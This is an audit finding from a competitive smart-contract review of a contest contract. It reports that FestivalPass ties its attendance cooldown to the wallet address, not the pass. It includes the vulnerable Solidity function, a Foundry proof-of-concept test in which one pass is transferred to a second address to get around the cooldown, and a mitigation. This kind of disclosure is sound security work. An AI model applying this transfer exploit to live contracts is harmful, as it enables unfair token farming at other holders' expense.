Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Cooldown bypass via transfer

Root + Impact

Description

  • The FestivalPass contract implements a cooldown mechanism to prevent users from attending multiple performances within 1 hour, tracked via the lastCheckIn[msg.sender]
    mapping.

  • However, the cooldown is tied to the user's address rather than the pass itself, allowing users to transfer their pass to another address and immediately attend another
    performance, completely bypassing the cooldown restriction.

function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
// @> Cooldown check only applies to msg.sender, not the pass
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
// @> Updates only msg.sender's lastCheckIn
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}

Risk

Likelihood:

  • Users will exploit this when multiple performances are active simultaneously to maximize BEAT token rewards

  • Groups of users will coordinate to share passes and attend all available performances

Impact:

  • Cooldown mechanism becomes completely ineffective at limiting performance attendance

  • BEAT token economy gets inflated beyond intended design, devaluing the token

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
contract PassTransferExploitTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
function setUp() public {
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), address(this));
beatToken.setFestivalContract(address(festivalPass));
// Configure passes
festivalPass.configurePass(1, 1 ether, 100);
// Give Alice ETH to buy a pass
vm.deal(alice, 10 ether);
}
function test_CooldownBypassViaTransfer() public {
// Some time in the future
vm.warp(5 days);
// Alice buys a pass
vm.prank(alice);
festivalPass.buyPass{value: 1 ether}(1);
// Create 2 performances
uint256 perf1 = festivalPass.createPerformance(
block.timestamp + 1,
2 hours,
10e18
);
uint256 perf2 = festivalPass.createPerformance(
block.timestamp + 1,
2 hours,
10e18
);
// Warp to when performances are active
vm.warp(block.timestamp + 2);
// Alice attends first performance
vm.prank(alice);
festivalPass.attendPerformance(perf1);
// Alice cannot attend another performance due to cooldown
vm.prank(alice);
vm.expectRevert("Cooldown period not met");
festivalPass.attendPerformance(perf2);
// Alice transfers pass to Bob
vm.prank(alice);
festivalPass.safeTransferFrom(alice, bob, 1, 1, "");
// Bob can immediately attend performance 1 (no cooldown for him)
vm.prank(bob);
festivalPass.attendPerformance(perf1);
// Both performances were attended despite cooldown
assertTrue(festivalPass.hasAttended(perf1, alice));
assertTrue(festivalPass.hasAttended(perf1, bob));
}
}

Recommended Mitigation

  • Disallow pass transfer while in cooldown period.

Updates

Lead Judging Commences

inallhonesty Lead Judge 30 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unlimited beat farming by transferring passes to other addresses.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.